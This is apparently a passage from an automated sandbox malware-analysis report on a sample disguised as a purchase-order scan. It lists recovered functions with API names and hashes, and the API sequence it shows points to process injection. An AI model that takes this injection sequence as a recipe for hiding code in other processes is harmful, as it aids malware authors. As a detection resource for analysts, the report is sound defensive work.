Opcode Fuzzy Hash: 3ab7eae77e17ddb0319e0393a5f5b903f9df225a41e036688c2ba4ef487c3609
Instruction Fuzzy Hash: B3A17C71E00219DFDB20DFA9C8807EDBBB2FF54314F1485A9E848A7290DBB49995CF91

Function 0C1C7600 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0C1C7836

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9d5e7a1df0935e9e223f4419ca4432dabcfcf396870d01560389276c2370e228
Instruction ID: f76a254ec25ea27530204d36b4dc1ecd66bc874d4daff9ebaa9ad132f079d492
Opcode Fuzzy Hash: 9d5e7a1df0935e9e223f4419ca4432dabcfcf396870d01560389276c2370e228
Instruction Fuzzy Hash: DA916C71E00219DFDB10DFA9C8807EDBBB2FF54314F1485A9E848A7290DBB49995CF91

Function 05684B84 Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05684CA2

Memory Dump Source

Source File: 00000000.00000002.1735562879.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5680000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 81997fbaf8aee7eabfe5575e0d4e103a5e163378400e18cea91a477bd67905fe
Instruction ID: 389cccf8c07454ecf4093b70e10f7bd13c1f347b38274541edbbbefa06f58864
Opcode Fuzzy Hash: 81997fbaf8aee7eabfe5575e0d4e103a5e163378400e18cea91a477bd67905fe
Instruction Fuzzy Hash: 1A51B0B1D103099FDF14DF99C984ADEBBB5FF48314F24822AE419AB210D7759845CF91

Function 05684B90 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05684CA2

Memory Dump Source

Source File: 00000000.00000002.1735562879.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5680000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 80d7eef34cf87ce6513b398fa621f7407ac438b34c0b55921690bfe5b5053192
Instruction ID: f735f1a69e211d93adb275a7a154da13b649463a7e05c701c8a137445984d23b
Opcode Fuzzy Hash: 80d7eef34cf87ce6513b398fa621f7407ac438b34c0b55921690bfe5b5053192
Instruction Fuzzy Hash: 1C41C1B1D003099FDF14DF99C984ADEBBB5FF48314F24822AE819AB210DB759845CF90

Function 056827FC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05687221

Memory Dump Source

Source File: 00000000.00000002.1735562879.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5680000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 66c987ac30a08415d4aef77276d34e49b835a38de23c0e7dcb1aeb3804daffd4
Instruction ID: 76106f2d4f313a97eecbbe9e143f4d0d8ce9fe85ffc58ad58d3dfb3895f2b0c7
Opcode Fuzzy Hash: 66c987ac30a08415d4aef77276d34e49b835a38de23c0e7dcb1aeb3804daffd4
Instruction Fuzzy Hash: C14129B4900209CFCB14DF99C488AAABBF5FB88314F24C559E559AB321D775A941CFA0

Function 01416914 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01419071

Memory Dump Source

Source File: 00000000.00000002.1731693603.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 7bfbee1476b8b68d1c20f22fa82cc4d5b28f8cfa41cf2b86e2db81220a6c4409
Instruction ID: 96b87303c6c3314a98362c8f4b0c033cad0b286784914644432abc086c336ec1
Opcode Fuzzy Hash: 7bfbee1476b8b68d1c20f22fa82cc4d5b28f8cfa41cf2b86e2db81220a6c4409
Instruction Fuzzy Hash: EC41D4B0C00619CFDB24DFA9C844BDEBBF5BF45304F24805AD408AB265DB756986CF90

Function 0C1C7374 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 0C1C7408

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 6a3adc477156a4129002e6f07847d11f1f1a6c678541a88632027315778bf27c
Instruction ID: fabcb109cbcd1ac0be4c82044d9928553545c04b23b45c3cbbfcddd00d9d0357
Opcode Fuzzy Hash: 6a3adc477156a4129002e6f07847d11f1f1a6c678541a88632027315778bf27c
Instruction Fuzzy Hash: 322137B1A003599FCB10DFA9C985BDEBBF5FF48310F10842AE958A7251D7B89544CFA4

Function 0C1C7378 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 0C1C7408

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 3b3b3390c28d104e59801e99f6dc42ea1cf28e9a0c265368fa702351bed0ccdd
Instruction ID: 71c3428dc3bcff531db1f770d57324afb2ce861c1988d85d364255919cc70dc1
Opcode Fuzzy Hash: 3b3b3390c28d104e59801e99f6dc42ea1cf28e9a0c265368fa702351bed0ccdd
Instruction Fuzzy Hash: 7F2125B1A003599FCB10DFA9C985BDEBBF5FF48310F10842AE958A7250D7B89944CFA4

Function 0C1C7460 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 0C1C74E8

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: cd279c5455a83397a1b7588c851d87ca9586d6f6b4d2427d8979151260f44221
Instruction ID: de2593c4c96a06a32f5b3a50661ebc2221f5d6ce925c547288b8ebb822c4e280
Opcode Fuzzy Hash: cd279c5455a83397a1b7588c851d87ca9586d6f6b4d2427d8979151260f44221
Instruction Fuzzy Hash: DB214AB19002599FCB10DFA9C885AEEFBF5FF88310F10842AE558A7250C7789540CFA4

Function 0C1C71D9 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0C1C725E

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 93c68e0284c47eb1f3696f1de5591350d8d154192cfa67d8ebb694bc73346840
Instruction ID: 4a82369e8ab8d2e02b565683a6d1c534a460465ce2c5f65c167a564d99e5b15c
Opcode Fuzzy Hash: 93c68e0284c47eb1f3696f1de5591350d8d154192cfa67d8ebb694bc73346840
Instruction Fuzzy Hash: 65214CB19002098FDB10DFA9C5857EEFBF4EF98314F14842EE559A7240CB789945CF94

Function 0C1C7468 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 0C1C74E8

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 62bbc14ed007ee4a24fea7f8381334dcdc5c6a66dc5fbec3348121420c993351
Instruction ID: e5ff721fe628791aa25271707fce3d786fdae21fcb18744e66ad6d3d032586e9
Opcode Fuzzy Hash: 62bbc14ed007ee4a24fea7f8381334dcdc5c6a66dc5fbec3348121420c993351
Instruction Fuzzy Hash: AE2128B19002599FCB10DFAAC985AEEFBF5FF48320F10842AE558A7250C7789544CFA4

Function 0C1C71E0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0C1C725E

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: f0e06ee7cf0148bcffdc38b3cdaf55f59395e2a0d95d757abb27620f6dac47e4
Instruction ID: 8382da7e84bb3b2cd885dd470d2d71d4646b6bf01919b43be7e6ec63c5452723
Opcode Fuzzy Hash: f0e06ee7cf0148bcffdc38b3cdaf55f59395e2a0d95d757abb27620f6dac47e4
Instruction Fuzzy Hash: F12118B19002098FDB10DFAAC5857EEFBF4EF88324F14842EE559A7240CB789945CFA5

Function 0C1C72B1 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0C1C7326

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 011a0888c833e333df7dfc5e74c32f3ad021b8845d6ec2f7f8accfb81140df62
Instruction ID: bf341450cf722e727f85e8f72183fc6d8d3aa9bc2697e8910634cac290954293
Opcode Fuzzy Hash: 011a0888c833e333df7dfc5e74c32f3ad021b8845d6ec2f7f8accfb81140df62
Instruction Fuzzy Hash: 98215C71900249DFCB20DFAAC844ADEBFF5EF88314F108419E555A7250C7759544CFA4

Function 0C1C7129 Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 0C1C7192

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 42dc0850488307e852712958832395bf45abc4e6adead55e6d371792b6ec044c
Instruction ID: 64c11bf1e1e817f76938fc2355bd52d9cabaa9ee8232bf952a5cb2d18487fb79
Opcode Fuzzy Hash: 42dc0850488307e852712958832395bf45abc4e6adead55e6d371792b6ec044c
Instruction Fuzzy Hash: 2A1146B1D002488FDB20DFAAC4857EEFBF5EF89324F20842AD559A7250C778A945CF94

Function 0C1C72B8 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0C1C7326

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 79dee94faf882faa1cf975745591f80e82271cd615b7961ec4b1be26cb58c2bd
Instruction ID: a00f929e7c99d80732a2a25086bc81cb7db07fdab4a49191d3c3d5eace1450d4
Opcode Fuzzy Hash: 79dee94faf882faa1cf975745591f80e82271cd615b7961ec4b1be26cb58c2bd
Instruction Fuzzy Hash: 591137B19002499FCB20DFAAC845BDEBFF5EF88320F208419E959A7250C779A544CFA4

Function 0C1C7130 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 0C1C7192

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: caa5929aea359fc20a16ae01a5a4319c8a29b776c2fa46183e726005c4575c4e
Instruction ID: e910b9469ced21efac57eeddf323ef7230f8d822d16878a4fe0423e4b92c6e6d
Opcode Fuzzy Hash: caa5929aea359fc20a16ae01a5a4319c8a29b776c2fa46183e726005c4575c4e
Instruction Fuzzy Hash: B2113AB19002488FDB20DFAAC4457DEFBF5EF89324F208419D559A7250C779A544CF94

Function 0C1C5E18 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0C1CB80D

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 8c205808ce0de8aa1fadea7cb16b4b20325582fcbed3c874d6823094365d7510
Instruction ID: 618466aa11253d9899b4c4629cbe40d26c65c05f87fa0fb92433e2937dd003f9
Opcode Fuzzy Hash: 8c205808ce0de8aa1fadea7cb16b4b20325582fcbed3c874d6823094365d7510
Instruction Fuzzy Hash: 741136B5900348DFCB10DF99C585BDEBBF8EB48320F10841AE914B7200C378A944CFA5

Function 0141E218 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0141E27E

Memory Dump Source

Source File: 00000000.00000002.1731693603.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: a5b1323c4f5f738ce4eb5ebf33d4a2dbeec76f0a295963b9b45fee852103bec9
Instruction ID: 79277b7f2897e4948b7fc46a7569e0b9405740c1d1d196c276ba967e3e9934ba
Opcode Fuzzy Hash: a5b1323c4f5f738ce4eb5ebf33d4a2dbeec76f0a295963b9b45fee852103bec9
Instruction Fuzzy Hash: 6711DFB5C002498FDB20DF9AD444ADEFBF4EB88324F10842AD959B7210C379A545CFA5

Function 0C1CB7A9 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0C1CB80D

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 4749a9509b0acb06c6a8a1bd0c756faf456ec1489255dfe6f4ed9f9cc73e4099
Instruction ID: 8480d18908e64eec3ad78a3cc6a74e33515c45e17f114d95f1018ee4a98b2011
Opcode Fuzzy Hash: 4749a9509b0acb06c6a8a1bd0c756faf456ec1489255dfe6f4ed9f9cc73e4099
Instruction Fuzzy Hash: DB11F2B59002499FCB20DF99D585BDEBBF8EB48320F10841AE958A7210C379A984CFA1

Function 05738CAC Relevance: 1.5, Strings: 1, Instructions: 293COMMON

Download Yara Rule

Strings

(bq, xrefs: 0573A3A2

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 6dc113ac20e996f9959e10d73420a1c9a14c132c40e12c198aecdf98242ed3c5
Instruction ID: 5e50b08e230a5a722d7b4a7290123055d6273d9393d79799021f6120d038577e
Opcode Fuzzy Hash: 6dc113ac20e996f9959e10d73420a1c9a14c132c40e12c198aecdf98242ed3c5
Instruction Fuzzy Hash: 11910370A05209DFCB14DFA9D849AAEBFF6FF89320F10846EE446A7741DB309805CB91

Function 0573F650 Relevance: 1.5, Strings: 1, Instructions: 268COMMON

Download Yara Rule

Strings

@, xrefs: 0573F827

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ff2f6f69f466e702ab8107295f0187757c2f0e7143b7d9c52877b4b67c68fdd9
Instruction ID: d2893233eb5d3d4bb0b4fec761c53902a276f23c6e1ba1a8162fb203cbbca4f5
Opcode Fuzzy Hash: ff2f6f69f466e702ab8107295f0187757c2f0e7143b7d9c52877b4b67c68fdd9
Instruction Fuzzy Hash: 89D10C35D0120ACFCF14DFA8C4949EDB7B1FF48324B218655D8067725AEB34AA8ACF80

Function 0573F640 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

, xrefs: 0573F7F3

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: ce14fbadeda5543f7fa0859ea24fd7d0ff832dbbd20f16e752864caffebebe70
Instruction ID: 71f5bdc3b5ae49d2e532c873ffde3678546259cb20e2d5bf10e31ab3cb506681
Opcode Fuzzy Hash: ce14fbadeda5543f7fa0859ea24fd7d0ff832dbbd20f16e752864caffebebe70
Instruction Fuzzy Hash: F5A1FD3590020ACFCF04DFA8C4849DDB7B1FF58314B218655D806BB259EB30BA8ACF80

Function 05738C74 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

Hbq, xrefs: 0573AF2E

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: af04db2d6021e8ee38a1b8858ebb452ea06e351ca07d9c3ad62ba6225ce9e131
Instruction ID: c5a763e29c772c2a7fef7c91637c4c9eb7952e7967c85773814f43e370356e1f
Opcode Fuzzy Hash: af04db2d6021e8ee38a1b8858ebb452ea06e351ca07d9c3ad62ba6225ce9e131
Instruction Fuzzy Hash: 104181B1A00308DFCB14DFA9C485AAEBBF5FF88310F108469E449E7751DB34A945CBA1

Function 0573C9A8 Relevance: .6, Instructions: 551COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e0b2749eb936621349af2b19b7f5adc85c1622ea50ee08ec1716c228f406201
Instruction ID: 519720edeaf6a498f866911c7028b6c0adcf177de45417e09847cf838b1b5a9b
Opcode Fuzzy Hash: 7e0b2749eb936621349af2b19b7f5adc85c1622ea50ee08ec1716c228f406201
Instruction Fuzzy Hash: 0342D931E106198FCB25DF68C885AEDB7B5FF89310F118699D459BB261EB30AE85CF40

Function 0573C998 Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaf3fa9c363dbedddf36376f3c089db9f7814e6ff2a55d974471e57cf402c6bf
Instruction ID: fa3404f4d9793e735158ff54583085463bd857b166ef370354df553d755c7b8b
Opcode Fuzzy Hash: eaf3fa9c363dbedddf36376f3c089db9f7814e6ff2a55d974471e57cf402c6bf
Instruction Fuzzy Hash: 6EF12C31E106198FCB25DF68C885AEDB7B6FF49310F1186A9D419BB252EB30AD81CF40

Function 0573F371 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c48ca512b8fdfba286b8d6e80ceefb0a5f056da0c9d18f65c145b4993d60608
Instruction ID: 66c18c8ba30333e2f67943d581f14e6af4cba67a2397052e45e910598c81a1c8
Opcode Fuzzy Hash: 9c48ca512b8fdfba286b8d6e80ceefb0a5f056da0c9d18f65c145b4993d60608
Instruction Fuzzy Hash: E191FB7591060ADFCB01DF68C880999FBF5FF59320B14879AE819EB256E770E985CF80

Function 0573E707 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64c756ab8dd035e00679c58d34a5a871fff24160d7605369f3afaea79d718a41
Instruction ID: 5e0aa2cf02b211b7a63c356be78a4aa67f948e764357828f58f22ae4074c8270
Opcode Fuzzy Hash: 64c756ab8dd035e00679c58d34a5a871fff24160d7605369f3afaea79d718a41
Instruction Fuzzy Hash: 8871BBB9700A00CFC718DF29C588A59BBF2BF8931471589A9E54ACB772DB72EC45CB50

Function 0573E518 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7941d61f46899234ed27f6c07e9be0eaf297fd57a5780f9f8b1d6162dedf6b72
Instruction ID: ccc28cf4df6d8def9a6ec2252d3c4afc7bd025b84f9c05861458d6be1ee15c6d
Opcode Fuzzy Hash: 7941d61f46899234ed27f6c07e9be0eaf297fd57a5780f9f8b1d6162dedf6b72
Instruction Fuzzy Hash: 3B7190B4A012068FCB44CF69D584999FBF5FF48314B0986A9E80ADB352E734EC85CF90

Function 05732DF4 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c05a1a6fc68b8dba476bc0d19c38a8d411bc6bc15a8004311956d1c5eb2654d
Instruction ID: fa0ed2340d26c5c26a3a0c2be84500bd6dc4af43fe202617c72990e1f1b1cf03
Opcode Fuzzy Hash: 4c05a1a6fc68b8dba476bc0d19c38a8d411bc6bc15a8004311956d1c5eb2654d
Instruction Fuzzy Hash: 39413E34A10709CFCB14EF68C998DADFBB6FF85304F008569E515AB325EB71A945CB81

Function 0573D632 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abb15119856e0e0046bf9e7ff20a68f0054314eacbed473c75261bce860599b0
Instruction ID: f7e3589e1fe2db5bf635c157d234ee88aba8972d6785527a4296cc0835af854d
Opcode Fuzzy Hash: abb15119856e0e0046bf9e7ff20a68f0054314eacbed473c75261bce860599b0
Instruction Fuzzy Hash: BE414F35A1070ACFCB04DFA8C958AEDBBB6FF85304F008559E515AB325EB71A946CB81

Function 0573E508 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5723692ba3ace7008a1f7ae721e250371e05a45a540113e9b92f766c19bd059c
Instruction ID: 1e2cd7cb7037b0938f7b94459a947c9f80dc2fd85cc794296cb5baaa02141fde
Opcode Fuzzy Hash: 5723692ba3ace7008a1f7ae721e250371e05a45a540113e9b92f766c19bd059c
Instruction Fuzzy Hash: A6413D75A04206CFC715CF29C585A99FBF5FF49320B0986A9E80ADB352E730EC85CB90

Function 0573B2B8 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68e9c507bda2973117011d2cdd4c10105914de92496dba5a8f27a9f52863e4b6
Instruction ID: 155c6365ef0575349c4ff4aaba245833fe08fa8e8510aad4f8e07324cb97b7e7
Opcode Fuzzy Hash: 68e9c507bda2973117011d2cdd4c10105914de92496dba5a8f27a9f52863e4b6
Instruction Fuzzy Hash: CD41E775A0020ADFCB44DFA8D9849ADFBB5FF49310B14C659E918AB315E730E985CF90

Function 0573D538 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735603830.0000000005730000.00000040.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5730000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

